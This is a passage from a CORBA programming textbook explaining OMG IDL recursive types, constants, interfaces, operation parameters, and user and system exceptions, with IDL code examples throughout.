guarantees. Most C++ mapping implementations provide constant-time performance for 
random access to sequences. However, constant-time performance is not guaranteed by 
the specification. 

4.7.8 Recursive Types 

Even though IDL does not have pointers to data, it supports recursive data types. 
Recursion is legal only for structures and unions. In either case, recursion is expressed as 
an anonymous sequence of the incomplete (recursive) type. 

Recursion Via Structures 

Structures can contain data members that are sequences of the structure under definition, 
making the structure definition recursive. Here is an example: 
        
struct Node { 
    long            value; 
    sequence<Node>  children; 
}; 
 
       
This code defines a data structure consisting of nodes, in which each node contains a 
long value and a number of descendant nodes. Such constructs can be used to express 
arbitrary complexity graphs, such as expression trees; leaf nodes, which have an out-
degree of one, are indicated by an empty descendant sequence. 

Recursion Via Unions 

A recursive sequence must have an incomplete structure or union type as its element type 
(Node in the preceding example). The sequence can be bounded or unbounded. Here is 
another example that defines an expression tree for bitwise and logical operators on 
long values: 
        
enum OpType { 
    OP_AND, OP_OR, OP_NOT, 
    OP_BITAND, OP_BITOR, OP_BITXOR, OP_BITNOT 
}; 
enum NodeKind { LEAF_NODE, UNARY_NODE, BINARY_NODE }; 
union Node switch (NodeKind) { 
case LEAF_NODE: 
    long    value; 
case UNARY_NODE: 
    struct UnaryOp { 
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        OpType              op; 
        sequence<Node, 1>   child; 
    } u_op; 
case BINARY_NODE: 
    struct BinaryOp { 
        OpType              op; 
        sequence<Node, 2>   children; 
    } bin_op; 
}; 
 
       
Note that in this example, the incomplete type for the recursion is a union (instead of a 
struct) and that bounded sequences are used. The use of bounded sequences is not 
mandatory but it improves the type safety of the specification. (It does not make sense for 
a unary node to have more than one descendant and for a binary node to have more than 
two descendants, so we might as well express this.) However, we cannot enforce at the 
type level that a binary node must have exactly two descendants. The following attempt 
to achieve this is simply illegal IDL because recursion must be expressed via a 
sequence: 
        
// ... 
case BINARY_NODE: 
    struct BinaryOp { 
        OpType  op; 
        Node    children[2]; // Illegal recursion, not a sequence 
    } bin_op; 
// ... 
 
       
Finally, note that the operator enumerators in this example are named OP_AND, OP_OR, 
and so on (instead of AND, OR, and so on). This is because AND and OR are keywords in 
several implementation languages, and that causes awkward language mappings. 
(Remember that standard C++ has added quite a few new keywords, among them and 
and or.) 

Multilevel Recursion 

Recursion can extend over more than one level. Here is an example that shows the 
recursion on the incomplete type TwoLevelRecursive nested inside another structure 
definition: 
        
struct TwoLevelRecursive { 
    string  id; 
    struct Nested { 
        long                        value; 
        sequence<TwoLevelRecursive> children; 
    } data; 
}; 
 
       

Mutually Recursive Structures 
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Occasionally, you may find yourself in a situation when you want to implement mutually 
recursive structures along the following lines: 
        
// Not legal IDL! 
typedef something   Adata;  // Data specific to A's 
typedef whatever    Bdata;  // Data specific to B's 
struct Astruct { 
    Adata                   data; 
    sequence<Bstruct, 1>    nested; // Illegal - undefined Bstruct 
}; 
struct Bstruct { 
    Bdata                   data; 
    sequence<Astruct, 1>    nested; 
}; 
 
       
This need typically arises during legacy application integration, when existing C or C++ 
interfaces are translated into IDL. The problem can also arise with automated translation 
algorithms, such as ASN.1 to IDL conversion. Unfortunately, the preceding IDL is illegal. 
It is impossible to create mutually recursive structures as shown; the compiler complains 
when you try to use type Bstruct before it is defined. A forward declaration does not 
solve the problem because IDL does not permit forward declarations for anything except 
interfaces. However, you can use a union to achieve the desired semantics: 
        
typedef something   Adata;  // Data specific to A's 
typedef whatever    Bdata;  // Data specific to B's 
enum StructType { A_TYPE, B_TYPE }; 
union ABunion switch (StructType) { 
case A_TYPE: 
    struct Acontents { 
        Bdata                   data; 
        sequence<ABunion, 1>    nested; 
    } A_member; 
case B_TYPE: 
    struct Bcontents { 
        Adata                   data; 
        sequence<ABunion, 1>    nested; 
    } B_member; 
}; 
 
       
This definition is not pretty because it loses some type safety. (At the type level, it is not 
enforced that an A must always contain a B and that a B must always contain an A.) 
However, it works and adequately expresses the requirement. 

4.7.9 Constant Definitions and Literals 

IDL permits the definition of constants. Syntax and semantics are identical to C++; you 
can define floating-point, integer, character, string, Boolean, octet, and enumerated 
constants.[1] IDL does not allow you to define a constant of type any nor a user-defined 
complex type. Here are some examples of legal constants: 
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[1] Octet and enumerated constants were added with the CORBA 2.3 revision, so they work 
only with a CORBA 2.3 (or later) ORB. 

       
const float     PI = 3.1415926; 
const char      NUL = '\0'; 
const string    LAST_WORDS = "My god, it's full of stars!"; 
const octet     MSB_MASK = 0x80; 
enum Color { red, green, blue }; 
const Color     FAVORITE_COLOR = green; 
const boolean   CONTRADICTION = FALSE;  // Bad idea... 
const long      ZERO = 0;               // Bad idea, too... 
 
      
The last two definitions are marked as bad ideas because they do not add any value to the 
specification (they are an example of needless aliasing and so should be avoided). 
Aliases for basic types can be used to define constants, so the following is legal: 
       
typedef short   TempType; 
const TempType  MAX_TEMP = 35;  // Max temp in Celsius 
 
      
IDL supports exactly the same literals as C++. For example, integer constants can be 
specified in decimal, hex, or octal notation, floating-point literals use the usual C++ 
conventions for exponent and fraction, and character and string constants support the 
standard C++ escape sequences. Here are some examples: 
       
// Integer constants 
const long I1 = 123;              // decimal 123 
const long I2 = 0123;             // octal 123, decimal 83 
const long I3 = 0x123;            // hexadecimal 123, decimal 291 
const long I4 = 0XaB;             // hexadecimal ab, decimal 171 
// Floating point constants 
const double D1 = 5.0e-10;        // integer, fraction, & exponent 
const double D2 = -3.14;    // integer part and fraction part 
const double D3 = .1;             // fraction part only 
const double D4 = 1.;             // integer part only 
const double D5 = .1E10;          // fraction part and exponent 
const double D6 = 1E10;           // integer part and exponent 
// Character literals 
const char C1 = 'c';        // the character c 
const char C2 = '\007';     // ASCII BEL, octal escape 
const char C3 = '\x41';     // ASCII A, hex escape 
const char C4 = '\n';       // newline 
const char C5 = '\t';       // tab 
const char C6 = '\v';       // vertical tab 
const char C7 = '\b';       // backspace 
const char C8 = '\r';       // carriage return 
const char C9 = '\f';       // form feed 
const char C10 = '\a';      // alert 
const char C11 = '\\';      // backslash 
const char C12 = '\?';      // question mark 
const char C13 = '\'';      // single quote 
// String literals 
const string S1 = "Quote: \"";      // string with double quote 
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const string S2 = "hello world";    // simple string 
const string S3 = "hello" " world"; // concatenate 
const string S4 = "\xA" "B";        // two characters   \ 
                                       ('\xA' and 'B'), \ 
                                       not the single   \ 
                                       character '\xAB' 
const string<5> BS = "Hello";       // Bounded string constant 
 
      
Note that the last four lines in this example do not contain a syntax error. The 
preprocessor concatenates the final four lines, making the last three lines part of the 
preceding comment. 

4.7.10 Constant Expressions 

IDL offers arithmetic and bitwise operators, as shown in Table 4. 2. These operators 
are familiar from C++, but not all of them behave like their C++ counterparts. 

Table 4.2. IDL operators. 
Operator Type IDL Operators 

Arithmetic + - * / % 
Bitwise | & ^ < >> ~ 

Semantics for Arithmetic Operators 

The arithmetic operators apply to both floating-point and integer expressions with the 
exception of %, which must have integer operands. 
 
The arithmetic operators do not support mixed-mode arithmetic. You cannot mix integer 
and floating-point constants in the same expression, and there is no form of explicit type 
casting. The restriction exists to keep IDL compiler implementations simple. 
 
Integer expressions are evaluated as unsigned long unless a negative integer is 
contained in the expression, which causes evaluation as long. The result is coerced back 
into the target type. If intermediate values in the expression exceed the range of long or 
unsigned long or if the resulting value does not fit into the target type, the behavior 
is undefined. 
 
Here are some examples of arithmetic constant expressions: 
        
const short MIN_TEMP = -10; 
const short MAX_TEMP = 35; 
const short AVG_TEMP = (MAX_TEMP + MIN_TEMP) / 2; 
const float TWICE_PI = 3.14 * 2.0;  // Can't use 3.14 * 2 here 
 
       

Semantics for Bitwise Operators 
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Bitwise operators apply only to integer expressions. Shifting a short or unsigned 
short value by more than 16 bits or shifting a long or unsigned long by more 
than 32 bits has undefined behavior. 
 
In C++, right-shifting a negative number has implementation-defined behavior (most 
implementations sign-extend). In IDL, in contrast, the right-shift operator >> always 
performs a logical shift. This means that the value of RHW_MASK in this example is 
guaranteed to be 0xffff even though it is obtained by right-shifting a signed value: 
        
const long ALL_ONES = -1;               // 0xffffffff 
const long LHW_MASK = ALL_ONES < 16;   // 0xffff0000 
const long RHW_MASK = ALL_ONES >> 16;   // 0x0000ffff, guaranteed 
 

4.8 Interfaces and Operations 

As we state in the introduction to this chapter, the focus of IDL is on interfaces and 
operations. Here is a simple interface for a thermostat device: 
      
interface Thermostat { 
    // Read temperature 
    short   get_temp(); 
    // Update temperature, return previous value 
    short   set_nominal_temp(in short new_temp); 
}; 
 
     
This definition defines a new CORBA interface type called Thermostat. The interface 
offers two operations: get_temp and set_nominal_temp. If a client accesses an 
object via its interface (or, more correctly, via an object reference to that interface), it 
does so by invoking operations on the interface. For example, to read the current room 
temperature, a client invokes the get_temp operation, and to change the setting of a 
thermostat, the client invokes the set_nominal_temp operation. 
 
The act of invoking an operation on an interface causes the ORB to send a message to the 
corresponding object implementation. If the target object is in another address space, the 
ORB run time sends a remote procedure call to the implementation. If the target object is 
in the same address space as the caller, the invocation is usually accomplished as an 
ordinary function call to avoid the overhead of marshaling and using a networking 
protocol. Some ORBs also offer a shared memory transport to optimize calls to 
implementations that are in a different address space but on the same machine. 
 
Intuitively, IDL interfaces correspond to C++ classes, and IDL operations correspond to 
C++ member functions. However, there are differences between C++ class definitions 
and IDL interface definitions. IDL interfaces define only the interface to an object and 
say nothing about the object's implementation. This has a number of consequences. 
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IDL interfaces do not have a public, private, or protected part. By definition, everything 
in an interface is public. Things are made private by simply not saying anything about 
them. 
 
IDL interfaces do not have member variables. IDL has no concept of member variables, 
not even public ones. Member variables store state, and the state of an object is an 
implementation concern.[2] Of course, you can create objects that store state, and you can 
allow clients to manipulate that state. However, clients must do this by invoking 
operations on the interface, and the details of how the state of an object is changed are 
hidden behind its interface. 

[2] IDL attributes are not public member variables even though they look as if they 
were. We discuss IDL attributes in Section 4.14. 

As you can see, CORBA carefully separates the interface of an object from its 
implementation. There is no way for a client to interact with an object except to invoke 
an operation (or to set or get an attribute). This is what makes possible the contract 
between client and server and permits clients and servers to be implemented on different 
platforms or in different languages and still communicate transparently. 
 
Every CORBA object has exactly one interface, but there can be thousands of objects of 
the same interface type in a distributed system. In that respect, IDL interfaces correspond 
to C++ class definitions and CORBA objects correspond to C++ class instances. The 
difference is that CORBA objects can be implemented in many different address spaces. 
You can implement interface instances in a single address space, spread them over a 
number of processes on the same machine, or spread them over a number of processes on 
different machines. However, an interface instance denoted by an object reference is 
CORBA's only notion of a remotely addressable entity. IDL interfaces therefore define 
the smallest granularity of distribution in a CORBA system. The way an application is 
broken into interfaces determines how it can be distributed over physical address spaces; 
application functionality can be distributed only if there is an interface to access that 
functionality. 

4.8.1 Interface Syntax 

IDL interfaces form a namespace. Identifiers are scoped by their enclosing interface and 
need be unique only within that interface. You can nest other definitions within the scope 
of an interface. Specifically, you can nest the following constructs inside an interface 
definition: 
Constant definitions 
Type definitions 
Exception definitions 
Attribute definitions 
Operation definitions 
Note that you cannot define an interface within another interface, so IDL does not 
support the nested class concept of C++. 
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Following is an example of an IDL interface showing the legal nested definitions that can 
occur. (We have not yet discussed all the features shown in the example, which are 
covered over the next few pages.) 
       
interface Haystack { 
    exception NotFound { 
        unsigned long num_straws_searched; 
    }; 
 
    const unsigned long MAX_LENGTH = 10;    // Max len of a needle 
 
    readonly attribute unsigned long num_straws;    // Stack size 
 
    typedef long    Needle; // ID type for needles 
    typedef string  Straw;  // ID type for straws 
  
    void    add(in Straw s);                    // Grow stack 
    boolean remove(in Straw s);                 // Shrink stack 
    void    find(in Needle n) raises(NotFound); // Find needle 
}; 
 
      
The scope resolution rules of IDL are the same as for C++. In the preceding example, the 
type Needle is used in the definition of the find operation. Because both the type and 
the operation definition are in the same scope, no qualification is needed. Because the 
nested definitions are not hidden, you can use types defined in a different scope by using 
the :: scope resolution operator to qualify a name: 
       
interface FeedShed { 
    typedef sequence<Haystack> StackList; 
    StackList   feed_on_hand();     // Return all stacks in shed 
    void        add(in Haystack s); // Add another haystack 
    void        eat(in Haystack s); // Cows need to be fed 
    // Look for needle in all haystacks 
    boolean     find(in Haystack::Needle n) 
                    raises(Haystack::NotFound); 
    // Hide a needle 
    void        hide(in Haystack s, in Haystack::Needle n); 
}; 
 
      
Note that this definition uses the qualified type names Haystack::Needle and 
Haystack::NotFound. As with C++, these names also could have been written 
as ::Haystack::Needle and ::Haystack::NotFound (a leading :: indicates 
the global scope). 

4.8.2 Interface Semantics and Object References 

The haystack example illustrates a central IDL feature. Note that a feed shed is a 
collection manager for haystacks, which in turn are collection managers for straws. You 
add a haystack to the shed by passing a parameter of type Haystack to the add 
operation. This illustrates two things. 
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Interface names become type names in their own right. 
 
Interface instances can be passed as parameters. 
 
Conceptually, a client invoking the add operation passes a particular haystack to be 
added to the feed shed. The semantics are as if the haystack object itself were passed. 
However, what really happens is that the client passes an object reference to the add 
operation, and the implementation of add appends that object reference to its list of 
haystacks in the shed. In other words, an object reference acts as a pointer and can be 
stored in a collection. 
 
The semantics of object references are very much like those of a C++ class instance 
pointer except that an object reference can point at an object outside the caller's address 
space. It follows that if each of two clients holds an object reference to the same object, 
any changes made by one client will be visible to the other client. If a client does not 
want to share state changes, it must make an explicit copy of the object. We discuss how 
to do this in Chapter 12. 
 
Like C++ pointers, object references are strongly typed. The FeedShed::add 
operation expects a parameter of type Haystack. You cannot pass some other interface 
to the operation unless that interface is derived from Haystack. For the C++ mapping, 
the type safety of object references is enforced at compile time, in keeping with the 
strong typing model of C++. Conversely, for dynamically typed languages such as 
Smalltalk, type safety is enforced at run time instead. 
 
CORBA defines a special nil object reference. Like a C++ null pointer, a nil reference 
denotes no object (points nowhere). Nil references are useful for implementing optional 
or "not found" semantics. 
The Haystack::find operation looks for a particular needle in the haystack and, if it 
finds the needle, removes it from the stack. The FeedShed::find operation searches 
all the haystacks in the shed for a needle. (One possible implementation is simply to 
iterate over the shed's list of haystacks and invoke the find operation on each haystack 
via its stored object reference.) 
 
Of course, FeedShed and Haystack instances may be implemented in different 
address spaces (that is the whole point of making them IDL interfaces). When the 
FeedShed implementation invokes the find operation on a Haystack, it sends a 
remote procedure call to the object nominated by the object reference. In OO terms, it 
sends a message to the object. Because the feed shed interacts with each haystack only 
through a defined interface, all the sheds and haystacks can in fact be implemented on 
different machines. The semantics of this are the same as if haystack objects were 
implemented in the same address space as their feed shed. 
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4.8.3 Interface Communication Model 

Another interesting feature of the haystack example relates to the hide operation. Notice 
that a feed shed allows you to hide a needle in a nominated haystack. This is fine, but 
consider the haystack interface—haystacks have no operation that would allow a needle 
to be hidden. However, haystacks have a find operation that allows searching for a 
needle. 
 
The question is, how does a needle get from a feed shed into a haystack? The answer is 
that we don't know. There must be some form of hidden communication between a feed 
shed and its haystacks that arranges for the hiding of needles. We can only guess at what 
form of communication this might be. The point is that the communication path is not 
visible in the IDL definition and therefore, as far as CORBA is concerned, simply does 
not exist. Presumably, needles get from sheds into haystacks by dropping out of the 
farmer's pocket. (That is fine because the farmer, as far as CORBA is concerned, does not 
exist either.) 
 
It is important to note that IDL operations and attributes define the only communication 
path between objects. The kinds of information traveling along the communication path 
are the parameters, return value, and exceptions of an operation. In the haystack example, 
it is clear that there is some other form of communication behind the scenes. This is not 
uncommon in object systems. For example, iterator objects typically share some hidden 
state with the collection they are iterating over. 
 
Be aware, though, that such hidden communication creates a tight coupling between 
objects (similar to friend relationships in C++). For example, if we ever wanted to 
implement feed sheds and haystacks on different architectures or in different languages, 
we would have to invent a mechanism for the safe exchange of needles all over again. 
Because the passing of a needle from a feed shed to a haystack is not described by IDL, 
this would mean having to deal with all the potentially nasty issues, such as different byte 
ordering or networking APIs. You can solve the problem more easily by adding a hide 
operation to Haystack that creates the required portable communication path. 
 
Object interfaces using hidden communication are sometimes called cooperating 
interfaces. In practice, cooperating interfaces are almost always implemented by the same 
process because this makes it easy to share state between objects without interoperability 
problems. 

4.8.4 Operation Definitions 

An operation definition can occur only as part of an interface definition. An operation 
definition must contain 
A return result type 
An operation name 
Zero or more parameter declarations 
Here is an interface showing the simplest possible operation: 
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interface simple { 
    void op(); 
}; 
 
      
The operation op requires no parameters and does not return a value. Because op does 
not transmit any data between client and server, its only purpose can be to change the 
state of the target object as a side effect. Such operations are rare, and you should be 
wary if you find yourself writing definitions like this one. Typically, there are better ways 
to achieve the desired state that do not require the client to make a separate call, such as 
implementing the behavior of op as part of another operation that accepts or returns a 
value. 
The void return type must be specified. It is illegal to leave it out: 
       
interface Simple { 
    op();   // Error, missing return type 
}; 
 
      
Here is a more interesting interface containing a number of operations: 
       
interface Primes { 
    typedef unsigned long   prime; 
     
    prime   next_prime(in long n); 
    void    next_prime2(in long n, out prime p); 
    void    next_prime3(inout long n); 
}; 
 
      

Directional Attributes 

Notice that the parameter lists for the three operations are qualified with one of three 
directional attributes: 
in 
The in attribute indicates that the parameter is sent from the client to the server. 
out 
The out attribute indicates that the parameter is sent from the server to the client. 
inout 
The inout attribute indicates a parameter that is initialized by the client and sent to the 
server. The server can modify the parameter value, so, after the operation completes, the 
client-supplied parameter value may have been changed by the server. 
 
Directional attributes are necessary for two reasons. 
 
Directional attributes are required for efficiency. 
 



IT-SC book: Advanced CORBA® Programming with C++ 

 87

Without directional attributes, there would be no way for the IDL compiler to work out 
whether a parameter value is sent from the client to the server or vice versa. This in turn 
would mean that all parameters would have to be transmitted over the network in both 
directions just in case they are required (and even if they are not initialized). 
Directional attributes enable some saving in transmission cost. An in parameter is sent 
only from the client to the server, and an out parameter is sent only from the server to the 
client. Only inout parameters are transmitted in both directions. 
 
Directional attributes determine responsibility for memory management. 
 
As you will see in Section 7.14, memory management for operation parameters varies 
with the direction and type of parameter. Directional attributes control whether the client 
or the server is responsible for allocating and deallocating memory for parameters. 

Style of Definition 

The final three operations on interface Primes all achieve the same thing. Each 
operation, given some number as a starting point, returns the first prime number that is 
larger than the starting point. For example, next_prime of 2 is 3, and next_prime 
of 26 is 29. Note that the starting point is a signed integer, and that permits negative 
starting points. For all starting points less than 2, next_prime returns 2. However, 
each operation offers a different style of interaction. 
 
next_prime accepts the starting point n as an in parameter and returns the prime as 
the return value. 
 
next_prime2 accepts the starting point n as an in parameter and returns the prime in 
the out parameter p. The value of p need not be initialized by the client but is modified 
to contain the result when next_prime2 returns. 
 
next_prime3 uses the single inout parameter n to communicate both the starting 
point and the result. The client initializes the parameter, and the operation overwrites it 
with the result. 
 
You would never write an interface like Primes, which offers three operations with 
identical semantics. Instead, you would decide which style of interaction you wanted to 
offer to clients. The question is, which style is best, and how do you choose it? Here are 
some guidelines. 
 
If an operation accepts one or more in parameters and returns a single result, the result 
should be returned as the return value. 
 
This style is simple and familiar to programmers. 
 
If an operation has several return values of equal importance, all values should be 
returned as out parameters, and the return type of the operation should be void. 
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By making all return values out parameters, you emphasize that none of them is 
"special" (whereas if one value is returned as the return value and the others are out 
parameters, you can easily create the impression that the return value is somehow more 
important). 
 
If an operation returns several values but one of the values is of special importance, make 
the special value the return value and return the remainder as out parameters. 
 
This style of interaction is most often found on iterator operations. For example: 

          
boolean get_next(out ValueType value); 
 
         

This operation is used to incrementally retrieve a result set one value at a time. The return 
value is special because it is not part of the actual result. Instead, it indicates when the set 
of values is exhausted. Using the return value to indicate the terminating condition is 
useful for loop control. It allows the caller to write code along the following lines: 

          
while (get_next(val)) { 
    // Process val 
} 
 
         

This code is more natural and easier to read than code that tests a Boolean out parameter 
to detect the terminating condition. 
 
Treat inout parameters with caution. 
 
By using an inout parameter, the designer of the interface assumes that the caller will 
never want to keep the original value and that it is OK to overwrite it. Therefore, inout 
parameters dictate interface policy. If the client wants to keep the original value, it must 
make a copy first, and that can be inconvenient. 
 
In C++, the equivalent of IDL inout is passing a value by reference. This is typically 
done for efficiency reasons (pass by reference saves copying the data). IDL inout 
parameters do not provide the same savings because on-the-wire transmission forces data 
copying in both directions. The only saving of inout is in the amount of temporary 
buffer space required, because clients and servers require only a single block of memory 
to hold the data before and after the call. Because of this, inout parameters are typically 
used only for very large values, when local memory consumption becomes an issue. 

Overloading 

Let's look at the Primes interface once more. A C++ programmer would likely have 
written it as follows: 
        
interface Primes { 



IT-SC book: Advanced CORBA® Programming with C++ 

 89

    typedef unsigned long   prime; 
    prime   next_prime(in long n); 
    void    next_prime(in long n, out prime p); // Error 
    void    next_prime(inout long n);           // Error 
}; 
 
       
Unfortunately, this is not legal IDL. Operation names are scoped by their enclosing 
interface and must be unique within that interface, so overloading of operations is 
impossible. This restriction was introduced because overloading makes it difficult to map 
IDL to a non-OO language such as C. For C, overloaded functions would have to use 
some form of name mangling (which is fine for a compiler but not very nice for a human 
developer). 

Anonymous Types 

Parameters and return values for operations must be declared using a named type. 
Anonymous types are illegal as a return type and in parameter declarations: 
        
sequence<long> get_longs();             // Error, anonymous type 
void get_octets(out sequence<octet> s); // Error, anonymous type 
 
       
Because anonymous types create awkward language mappings, you should make it a 
habit always to use named types, even when anonymous types are legal. (They are legal 
as sequence and array elements and as structure, union, and exception member 
definitions.) 

Constant Operations 

Unlike C++, IDL does not distinguish between operations for read and write access. The 
following is in error: 
        
SomeType read_value() const;    // Error, illegal const qualifier 
 
       
As a consequence, if a client has a reference to an object, it can invoke all operations on 
that object whether or not they modify object state. (On ORBs that provide it, you can use 
the CORBA Security Service to create read-only access for specific operations.) 

4.9 User Exceptions 

IDL uses exceptions as a standard way to indicate error conditions. An IDL user 
exception is defined much like an IDL structure, and that allows an exception to contain 
an arbitrary amount of error information of arbitrary type. However, exceptions cannot be 
nested. Here is an example: 
      
exception Failed {}; 
exception RangeError { 
    unsigned long   supplied_val; 
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    unsigned long   min_permitted_val; 
    unsigned long   max_permitted_val; 
}; 
 
     
Exceptions, like structures, create a namespace, so the exception member names need be 
unique only within their enclosing exception. 
Exceptions are types but cannot be used as data members of user-defined types. For 
example, the following is illegal: 
      
struct ErrorReport { 
    Object      obj; 
    RangeError  exc;    // Error, exception as data member 
}; 
 
     
An operation uses a raises expression to indicate the exceptions it may possibly raise: 
      
interface Unreliable { 
    void can_fail() raises(Failed); 
    void can_also_fail(in long l) raises(Failed, RangeError); 
}; 
 
     
As you can see, an operation may raise more than one type of exception. Operations must 
indicate all the exceptions they may possibly raise. It is illegal for an operation to throw a 
user exception that is not listed in the raises expression. A raises expression must 
not be empty. 
 
IDL does not support exception inheritance. This means that you cannot arrange error 
conditions into logical hierarchies (as you can in C++) and catch all exceptions in a 
subtree by catching a base exception. Instead, every user exception creates a new type 
that is unrelated to any other exception type. This restriction exists because exception 
hierarchies using multiple inheritance are difficult to map to languages that do not 
support the concept directly. (Because exceptions have data members, the target language 
would have to support implementation inheritance.) However, single inheritance for 
exceptions could have been mapped quite easily, even to target languages that lack 
support for implementation inheritance. 
 
Unfortunately, even single inheritance for exceptions did not make it into the initial OMG 
IDL specification, so we are stuck without it. (It is unlikely that exception inheritance 
will ever be added to OMG IDL because it would be disruptive to some language 
mappings.) 

4.9.1 Exception Design Issues 

When designing your interfaces, keep in mind that it is harder for a programmer to deal 
with exceptions than ordinary return values because exceptions break the normal flow of 
control. You should take some care in deciding whether something is an exception or a 
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return value. Consider the following interface, which provides a database lookup 
operation: 
       
interface DB { 
    typedef sequence<Record>    ResultSeq; 
    typedef string              QueryType; 
    exception NotFound {                    // Bad approach 
        QueryType   failed_query; 
    }; 
    ResultSeq lookup(in QueryType query) raises(NotFound); 
}; 
 
      
The lookup operation in this interface returns a sequence of results in response to a 
passed query. If no matching records are found, it raises NotFound. There are a number 
of things wrong with this interface. 
 
When searching a database, it is expected that a search will occasionally not locate 
anything. It is therefore inappropriate to raise an exception to indicate this. Instead, you 
should use a parameter or return value to indicate the empty result. 
 
In the preceding example, raising an exception is redundant because you can indicate the 
empty result by returning an empty sequence. The NotFound exception complicates the 
interface unnecessarily. 
 
The NotFound exception contains the failed_query member. Because only one 
query is passed to the operation, there is only one possible query that can fail—namely, 
the one that was passed to lookup. The exception contains information that is already 
known to the caller, and that is pointless. 
 
The DB interface does not allow the caller to find out why a query failed. Was it because 
no records matched the query, or was it because the query contained a syntax error? 
Compare the preceding version with this one: 
       
interface DB { 
    typedef sequence<Record>    ResultSeq; 
    typedef string              QueryType; 
    exception SyntaxError { 
        unsigned short  position; 
    }; 
    ResultSeq lookup(in QueryType query) raises(SyntaxError); 
}; 
 
      
This version is almost identical to the previous one. However, the flaws are eliminated. 
A search that returns no results is indicated by returning an empty sequence instead of 
raising an exception. 
 
An exception is raised if the query itself is unacceptable. This enables the caller to 
distinguish between a bad query and a query that merely did not return any results. 
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The exception contains useful information. In this case, it contains the index of the 
character position in the query string at which a syntax error was found. 
 
The DB example highlights some lessons that many designers still refuse to heed. They 
can be summarized as follows. 
 
Raise exceptions only for exceptional conditions. 
 
Operations that raise exceptions for expected outcomes are ergonomically poor. Consider 
the programmer who needs to call such an operation. The C++ mapping maps IDL 
exceptions to C++ exceptions. C++ exceptions are harder to deal with than normal return 
values or parameters because exceptions break the normal flow of control. Forcing the 
programmer to catch an exception for expected behavior is simply bad style. 
 
Make sure that exceptions carry useful information. 
It is worse than useless to tell the caller something that is already known. 
Make sure that exceptions convey precise information. 
An exception should convey precisely one semantic error condition. Do not lump several 
error conditions together so that the caller can no longer distinguish between them. 
Make sure that exceptions carry complete information. 
 
If exceptions carry incomplete information, the caller will probably need to make further 
calls to find out what exactly went wrong. If the initial call did not work, there is a good 
chance that subsequent calls will also fail, and that can make precise error handling 
impossible for the caller. 
 
Design interfaces so that they cater to the needs of the caller and not the needs of the 
implementer. 
 
Computing abounds with difficult-to-use APIs that provide poor abstractions of 
functionality. Typically, such APIs come into existence because they are written by the 
implementer of the functionality and not its user. But good tools are built for the 
convenience of the tool user; the effort required by the tool maker to create the tool is 
usually considered irrelevant (within reason). APIs are tools, and you should build them 
to suit their users. 
 
Do not use normal return values or parameters to indicate errors. 
 
As you will see in the next section, operations can raise exceptions even if they do not 
have a raises expression. If you use error codes instead of exceptions, callers end up 
with inconsistent and convoluted error handling because they must check for exceptions 
as well as an error return code. 
 
 



IT-SC book: Advanced CORBA® Programming with C++ 

 93

4.10 System Exceptions 

CORBA makes remote communication as transparent as possible. At the source code 
level, sending a message to a CORBA object looks the same whether the object is 
implemented on a remote machine, is implemented in a different process on the same 
machine, or is actually linked into the client. However, by necessity, remote 
communication means that many more things can go wrong than for a local call. For 
example, connectivity may be lost because a bulldozer tears a cable. 
 
IDL defines a number of system exceptions to capture common error conditions. Any 
operation can raise a system exception even if the operation has no raises expression. 
 
IDL defines 29 system exceptions. System exceptions have different names, but they all 
use the same exception body. The following definition uses the preprocessor to define a 
notational shorthand for the body of all the system exceptions (we will discuss the 
meaning of the data members in a moment): 
      
enum completion_status { 
        COMPLETED_YES, COMPLETED_NO, COMPLETED_MAYBE 
}; 
#define SYSEX(NAME) exception NAME {                    \ 
                        unsigned long       minor;      \ 
                        completion_status   completed;  \ 
                    } 
 
     
The system exceptions themselves are defined as follows. 
      
SYSEX(BAD_CONTEXT);            // error processing context object 
SYSEX(BAD_INV_ORDER);          // routine invocations out of order 
SYSEX(BAD_OPERATION);          // invalid operation 
SYSEX(BAD_PARAM);              // an invalid parameter was passed 
SYSEX(BAD_TYPECODE);           // bad typecode 
SYSEX(COMM_FAILURE);           // communication failure 
SYSEX(DATA_CONVERSION);        // data conversion error 
SYSEX(FREE_MEM);               // cannot free memory 
SYSEX(IMP_LIMIT);              // violated implementation limit 
SYSEX(INITIALIZE);             // ORB initialization failure 
SYSEX(INTERNAL);               // ORB internal error 
SYSEX(INTF_REPOS);             // interface repository unavailable 
SYSEX(INVALID_TRANSACTION);    // invalid TP context passed 
SYSEX(INV_FLAG);               // invalid flag was specified 
SYSEX(INV_IDENT);              // invalid identifier syntax 
SYSEX(INV_OBJREF);             // invalid object reference 
SYSEX(INV_POLICY);             // invalid policy override 
SYSEX(MARSHAL);                // error marshaling param/result 
SYSEX(NO_IMPLEMENT);           // implementation unavailable 
SYSEX(NO_MEMORY);              // memory allocation failure 
SYSEX(NO_PERMISSION);          // no permission for operation 
SYSEX(NO_RESOURCES);           // out of resources for request 
SYSEX(NO_RESPONSE);            // response not yet available 
SYSEX(OBJECT_NOT_EXIST);       // no such object 
SYSEX(OBJ_ADAPTER);            // object adapter failure 
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SYSEX(PERSIST_STORE);          // persistent storage failure 
SYSEX(TRANSACTION_REQUIRED);   // operation needs transaction 
SYSEX(TRANSACTION_ROLLEDBACK); // operation was a no-op 
SYSEX(TRANSIENT);              // transient error, try again later 
SYSEX(UNKNOWN);                // the unknown exception 
 
     
Some of these exceptions, such as NO_MEMORY, have the obvious meaning. The meaning 
of others, such as BAD_INV_ORDER, is less obvious. Rather than list the meaning of 
every exception in detail here, we point out their uses as we discuss the relevant topic 
throughout the remainder of this book. The CORBA specification itself does not 
precisely state under exactly what circumstances each exception should be raised, so you 
have to expect different behavior from different ORBs (see Section 7.15.2). 
 
An operation definition must not include system exceptions in its raises expression. It 
is understood that all operations may raise system exceptions. You are not allowed to 
explicitly state that, so the following is in error: 
      
interface X { 
    void op1() raises(BAD_PARAM);           // Illegal! 
    void op2() raises(CORBA::BAD_PARAM);    // Illegal! 
}; 
 
     
The list of system exceptions is open-ended and is occasionally added to by updates to 
the CORBA specification. To be future-proof, your code must be prepared to handle 
system exceptions not included in the preceding list in at least a general manner. If your 
code simply dumps core if it gets a new system exception, you will likely get problems as 
ORBs are upgraded over time (Section 7.15 shows how to deal with this problem). 
 
A system exception body contains two data members: minor and completed. The 
completed member tells you at what point during call dispatch a failure occurred. 
 
COMPLETED_YES 
The failure occurred sometime after the operation in the server completed. This tells you 
that any state changes made by the failed invocation have happened. 
 
Knowledge of whether the operation completed on the server side is important if an 
operation is not idempotent. An operation is idempotent if invoking it twice has the same 
effect as invoking it once. For example, the statement x=1; is idempotent, whereas the 
statement x++; is not. 
 
COMPLETED_NO 
The failure occurred on the way out of the client address space or on the way into the 
server address space. It is guaranteed that the target operation was not invoked, or, if it 
